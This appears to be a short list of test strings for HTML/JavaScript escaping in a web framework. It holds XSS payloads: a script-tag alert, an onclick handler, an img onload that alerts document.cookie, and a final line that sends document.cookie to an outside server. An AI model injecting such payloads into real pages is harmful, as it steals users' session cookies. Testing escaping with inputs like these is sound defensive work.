mysql:host=localhost;dbname=test_db;charset=utf8mb4

<span style="color:red">赤い文字</span>黒い文字

<script>window.alert('OK1');</script>

<button onclick="alert('OK2')">OK</button>

<img src="https://inter-mediator.com/images/20140123-inter-mediator-logo-w174.png" onload="alert(document.cookie)">

location.href = 'https://server.msyk.net/?d=' + document.cookie